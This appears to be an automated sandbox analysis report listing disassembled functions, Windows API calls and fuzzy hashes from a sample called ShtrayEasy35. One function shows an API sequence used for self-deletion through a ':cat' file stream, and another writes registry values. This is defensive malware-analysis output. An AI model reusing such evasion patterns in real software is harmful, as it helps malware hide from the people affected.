Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: 67b69e59026e797db19379eb73ccf5ac0fb83315ba8edd20822906d32ffdc62c
Instruction ID: 3f77270d6582f00a1a84f6ebb42dff77e5b532f55068b838d0aa32219fd09c0f
Opcode Fuzzy Hash: 67b69e59026e797db19379eb73ccf5ac0fb83315ba8edd20822906d32ffdc62c
Instruction Fuzzy Hash: 22D14972A50225ABCB14EFB4EC02ABEB7B9EF44794F14542AF905F7191EB309E41C790

Function 00E6A448 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00E5FC10: GetLastError.KERNEL32(00000000,?,00E64DD8), ref: 00E5FC14
Part of subcall function 00E5FC10: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 00E5FCB6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00E6A49C

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 0543244b325063d2e25c278b977b3b18d7c69477af64a67557d7b76990b69437
Instruction ID: 010b7e0664e9739487d7063f4f6a52d9260c28a79d758a09b63eb684814c050c
Opcode Fuzzy Hash: 0543244b325063d2e25c278b977b3b18d7c69477af64a67557d7b76990b69437
Instruction Fuzzy Hash: 3621C132A91106ABDB18DA24EC46EBA73A8EF44344B142079FD07F7141EA74AD44CE91

Function 00E6A0CF Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E5FC10: GetLastError.KERNEL32(00000000,?,00E64DD8), ref: 00E5FC14
Part of subcall function 00E5FC10: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 00E5FCB6

EnumSystemLocalesW.KERNEL32(00E6A1F5,00000001,00000000,?,-00000050,?,00E6A829,00000000,?,?,?,00000055,?), ref: 00E6A141

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: bbdd0e5f5bd6e071baab8cd1186d52d2ee2a18f7a69c881d72df1a62c0f6d76a
Instruction ID: 560b5d8d23122c23bbc1e3774de7e7537b78070d8a50e975bb73673eb6d1937b
Opcode Fuzzy Hash: bbdd0e5f5bd6e071baab8cd1186d52d2ee2a18f7a69c881d72df1a62c0f6d76a
Instruction Fuzzy Hash: 4511297A6003019FDB189F39D8915BAB791FF803A8F18443DE946A7640D7716842CB40

Function 00E6A677 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00E5FC10: GetLastError.KERNEL32(00000000,?,00E64DD8), ref: 00E5FC14
Part of subcall function 00E5FC10: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 00E5FCB6

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00E6A411,00000000,00000000,?), ref: 00E6A6A3

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1ceb00905172582f1a85ddcc9cce92f64785e132b0e19daa7c6c3874c3707712
Instruction ID: 7d677899383c87ddadbeeccfba2a664c643d0076fa161c1c71c054b76c3465a7
Opcode Fuzzy Hash: 1ceb00905172582f1a85ddcc9cce92f64785e132b0e19daa7c6c3874c3707712
Instruction Fuzzy Hash: 0801D632A84116ABDB185B24E805ABE7754FB40398F1D4439ED16B3180EA74EE51CEA1

Function 00E6A16A Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E5FC10: GetLastError.KERNEL32(00000000,?,00E64DD8), ref: 00E5FC14
Part of subcall function 00E5FC10: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 00E5FCB6

EnumSystemLocalesW.KERNEL32(00E6A448,00000001,?,?,-00000050,?,00E6A7F1,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00E6A1B4

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 14990a33e3a9ee03cdaf768e280d4607c391315b30ccd9a632c52d3ff2fef3de
Instruction ID: 393525441a22b0eb56267388de133300a958258e201fec90943101821928567a
Opcode Fuzzy Hash: 14990a33e3a9ee03cdaf768e280d4607c391315b30ccd9a632c52d3ff2fef3de
Instruction Fuzzy Hash: 22F0C2766403046FDB149F35AC85A7A7B95EB823A8F09447CFA067B680C6B59C41CB50

Function 00E624E6 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E5AE81: EnterCriticalSection.KERNEL32(?,?,00E5CCEC,00000000,00E7C520,0000000C,00E5CCB4,?,?,00E624AF,?,?,00E5FDAE,00000001,00000364,?), ref: 00E5AE90

EnumSystemLocalesW.KERNEL32(00E624D9,00000001,00E7C7C8,0000000C,00E6294E,00000000), ref: 00E6251E

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 45b483ecd1898ac62557b008612d510c6fbb1a2df4415431cbd8bc6e08fef113
Instruction ID: e7fd121c24f864370186483b1e910b1738e16842470d442941121d14ccdf5ca6
Opcode Fuzzy Hash: 45b483ecd1898ac62557b008612d510c6fbb1a2df4415431cbd8bc6e08fef113
Instruction Fuzzy Hash: 89F08732A103009FD704EFA9E842BAD77F0FB09721F10952AE914FB2A0CB7548898F40

Function 00E6A084 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E5FC10: GetLastError.KERNEL32(00000000,?,00E64DD8), ref: 00E5FC14
Part of subcall function 00E5FC10: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 00E5FCB6

EnumSystemLocalesW.KERNEL32(00E69FDD,00000001,?,?,?,00E6A84B,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00E6A0BB

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2e25aac12c1930260d4234f8587488ce0274c4c48cc40e244e8b38ae65e5a976
Instruction ID: 7f8b2fb652913fdf0eb9b55e7efaf79dd4dcac05831552584781635627c57fce
Opcode Fuzzy Hash: 2e25aac12c1930260d4234f8587488ce0274c4c48cc40e244e8b38ae65e5a976
Instruction Fuzzy Hash: 59F0553674020857CB049F36EC45A6ABF94EFC1754B0A0068EE0AAB281C2319883CBA0

Function 00E62AA9 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00E5F2DC,?,20001004,00000000,00000002,?,?,00E5E8CE), ref: 00E62ADD

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 6aa81c56094f09e4e53d1c0fd544e16e15c3ef80e04136395caf7267f7e40756
Instruction ID: d6e6a2b62bab6ab539d9aa5bfb11d075ced3e0fca31913d6687f4af157ff253f
Opcode Fuzzy Hash: 6aa81c56094f09e4e53d1c0fd544e16e15c3ef80e04136395caf7267f7e40756
Instruction Fuzzy Hash: A3E04F3158151CBBCF226F61EC04EAE7E56EF447A0F049118FE0975531CB718DA1AA95

Function 00E5240A Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00012416,00E51B37), ref: 00E5240F

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c54ebafc49ea81616d929be083ee74bc04d03cac064ebad41dab06e2c4d34ed7
Instruction ID: 6682d99ccf0c5fd3432084234a2dcd8e922c3fb6891a677a1820ec9f836652ce
Opcode Fuzzy Hash: c54ebafc49ea81616d929be083ee74bc04d03cac064ebad41dab06e2c4d34ed7
Instruction Fuzzy Hash:

Function 00E68082 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00E68082

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: dff26066d95a75716919d170689057874a66a26364407d8c66b1b9d43c32e3f8
Instruction ID: 3abd32f61e0df545381f64b7cc66a799dc51e001f514ec18d7019988067aea59
Opcode Fuzzy Hash: dff26066d95a75716919d170689057874a66a26364407d8c66b1b9d43c32e3f8
Instruction Fuzzy Hash: F1A00170A01241CF97818F77AA0970D3AE9BB49691B16856AA509E5660EB3484989B21

Function 00E45170 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000018,?,?,00000000), ref: 00E4519E
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00E451A5
GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 00E451E3
CreateFileW.KERNEL32(?,00110000,00000001,00000000,00000003,00000000,00000000,?,?,?,00000000), ref: 00E45208
SetFileInformationByHandle.KERNEL32(00000000,00000003,00000000,00000018,?,?,00000000), ref: 00E4521B
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00E45226
CreateFileW.KERNEL32(?,00110000,00000001,00000000,00000003,00000000,00000000,?,?,00000000), ref: 00E45242
SetFileInformationByHandle.KERNEL32(00000000,00000004,00000001,00000001,?,?,00000000), ref: 00E4525B
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00E45266
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00000000), ref: 00E4526F
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 00E45276

Strings

:cat, xrefs: 00E451C9

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: File$HandleHeap$CloseCreateInformationProcess$AllocFreeModuleName
String ID: :cat
API String ID: 681140232-3754777955
Opcode ID: f64537e3c44650e9dd6652c092c29c1e14ad784983c27c7bf1294baf269e933b
Instruction ID: b7bf1e0e3aaa16b0ce197dd35e159d28718b38107fe969d650ea1e8c4053d1e3
Opcode Fuzzy Hash: f64537e3c44650e9dd6652c092c29c1e14ad784983c27c7bf1294baf269e933b
Instruction Fuzzy Hash: DB319F71640304AFE720DB71EC4AF9A3BB8AB48B10F004169F709B61D1DBB096C8DBB5

Function 00E6D4CA Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E6D183: CreateFileW.KERNEL32(?,00000000,?,00E6D573,?,?,00000000,?,00E6D573,?,0000000C), ref: 00E6D1A0

GetLastError.KERNEL32 ref: 00E6D5DE
__dosmaperr.LIBCMT ref: 00E6D5E5
GetFileType.KERNEL32(00000000), ref: 00E6D5F1
GetLastError.KERNEL32 ref: 00E6D5FB
__dosmaperr.LIBCMT ref: 00E6D604
CloseHandle.KERNEL32(00000000), ref: 00E6D624
CloseHandle.KERNEL32(00E65707), ref: 00E6D771
GetLastError.KERNEL32 ref: 00E6D7A3
__dosmaperr.LIBCMT ref: 00E6D7AA

Strings

H, xrefs: 00E6D72F

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: d057631f2bfb9786e45cca5f0be4e73a193e26c368c5ed512e854642f4bcd7b1
Instruction ID: ba859230e6e7d1f2682ae42598ed94631aada050df985d1abf174786715cff0f
Opcode Fuzzy Hash: d057631f2bfb9786e45cca5f0be4e73a193e26c368c5ed512e854642f4bcd7b1
Instruction Fuzzy Hash: 47A15532E481499FCF19DF68EC91BAD3BA1AB06364F14115DF815FB2A2DB348C46CB51

Function 00E501D4 Relevance: 13.7, APIs: 9, Instructions: 159COMMON

Download Yara Rule

APIs

___std_fs_open_handle@16.LIBCPMT ref: 00E501FE

Part of subcall function 00E500E2: CreateFileW.KERNELBASE(?,?,00000007,00000000,00000003,00000080,00000000,000000FF,?,00E4FFF1,?,000000FF,00000080,?), ref: 00E500F7
Part of subcall function 00E500E2: GetLastError.KERNEL32(?,00E4FFF1,?,000000FF,00000080,?), ref: 00E50107

___std_fs_open_handle@16.LIBCPMT ref: 00E50227
SetFileInformationByHandle.KERNEL32(?,00000015,?,00000004,?,00000000,00010000,02200000,?,00000000,00010180,02200000,00000000,00000000), ref: 00E50250
GetLastError.KERNEL32 ref: 00E50267
GetFileInformationByHandleEx.KERNEL32(?,00000000,?,00000028,?), ref: 00E502A9
GetLastError.KERNEL32 ref: 00E502B6

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorFileLast$HandleInformation___std_fs_open_handle@16$Create
String ID:
API String ID: 2340841425-0
Opcode ID: 82182e6bc4eabf919df2e4da0ed2fe0d967f814cb018986ebe4cb19eb3e7ff37
Instruction ID: 6b1e3b05347ba6842df0bc9bc2d8d2dc4314757d22609e8d8c4ad93e31c8c6ea
Opcode Fuzzy Hash: 82182e6bc4eabf919df2e4da0ed2fe0d967f814cb018986ebe4cb19eb3e7ff37
Instruction Fuzzy Hash: 1541F931A45209AFDB21DBB89C89BFE77F8AB1570AF146828FE01F7251D6608E0D8710

Function 00E54E04 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00E54F23
___TypeMatch.LIBVCRUNTIME ref: 00E5502E
CallUnexpected.LIBVCRUNTIME ref: 00E5519C

Strings

csm, xrefs: 00E54EAE
csm, xrefs: 00E54F5A
csm, xrefs: 00E54E41
83, xrefs: 00E54F1A

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: 83$csm$csm$csm
API String ID: 1206542248-200271196
Opcode ID: e01ce8f91bb7db7fa20538029856a0e2864b8d77eaac8b60802d43db63519cb4
Instruction ID: b2b4254b4321d4d93e539e623073a700fa808745ecc71ec213f63c6019631c07
Opcode Fuzzy Hash: e01ce8f91bb7db7fa20538029856a0e2864b8d77eaac8b60802d43db63519cb4
Instruction Fuzzy Hash: 2AB1AF72900A09EFCF15DFA4C9919AEBBB5FF0431AF106859EC107B242D730DA59CB91

Function 00E5125A Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00E512A1
__alloca_probe_16.LIBCMT ref: 00E512CD
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00E5130C
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E51329
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00E51368
__alloca_probe_16.LIBCMT ref: 00E51385
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00E513C7
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00E513EA

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: ecf6d9a0b58faec4bf9d111e79620c4a231c4bc7fb1e22ffb821c1422be7508d
Instruction ID: 5ec810d1ebc34a3d4482f2c626711fbbe8adeb62d1a655ada85428c167cec987
Opcode Fuzzy Hash: ecf6d9a0b58faec4bf9d111e79620c4a231c4bc7fb1e22ffb821c1422be7508d
Instruction Fuzzy Hash: D151D032A00206AFEF209FA1CC45FAB3BA9EF44746F1159A8FD15FA190D7309C49CB60

Function 00E43700 Relevance: 10.8, APIs: 7, Instructions: 350registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 00E43A8D
RegCloseKey.ADVAPI32(?), ref: 00E43AA2
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00E43E1D
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,?), ref: 00E43E56
RegCloseKey.ADVAPI32(?), ref: 00E43E63

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CloseValue$OpenQuery
String ID:
API String ID: 3962714758-0
Opcode ID: 4af4c2c3ad3ed9d210f0591227f6b486475dda3bb881d362756b5609c4329ef4
Instruction ID: db718f28efafbb2b120dc2b8bb359450fd2c8ec8ab7046f1e2c2faf6066ff417
Opcode Fuzzy Hash: 4af4c2c3ad3ed9d210f0591227f6b486475dda3bb881d362756b5609c4329ef4
Instruction Fuzzy Hash: 5312A6B45093818FE375CF28D584BDABBE5BB8A314F00892EE9C99B311DB709945CF52

Function 00E6020F Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00E60295

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: dd7466477b5a722b59fc3f33f85b8bee9a1cce059e5cf6dca8c452f7f1e299c1
Instruction ID: 2a476544b2b713d37de6f5651f370241eea4856ed8417ec98c773369042b3b5a
Opcode Fuzzy Hash: dd7466477b5a722b59fc3f33f85b8bee9a1cce059e5cf6dca8c452f7f1e299c1
Instruction Fuzzy Hash: 8CB17832A803659FDB258F64EC81BAF7BA4EF15394F14A155E914BB382D670D901CBA0

Function 00E548D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00E54907
___except_validate_context_record.LIBVCRUNTIME ref: 00E5490F
_ValidateLocalCookies.LIBCMT ref: 00E54998
__IsNonwritableInCurrentImage.LIBCMT ref: 00E549C3
_ValidateLocalCookies.LIBCMT ref: 00E54A18

Strings

csm, xrefs: 00E549AD

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 053c8f851d2b00afdc15ee18e605040c7e411ce73e801405f264bce4ac1c7d9f
Instruction ID: 6a1a729f5b8b6acdf1b4bcd0d016d75f6c4d302dadc07abc5f06d356b2cbabba
Opcode Fuzzy Hash: 053c8f851d2b00afdc15ee18e605040c7e411ce73e801405f264bce4ac1c7d9f
